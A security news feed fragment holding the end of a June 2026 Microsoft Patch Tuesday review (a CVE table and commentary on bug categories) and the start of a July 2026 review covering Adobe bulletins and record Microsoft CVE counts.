  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
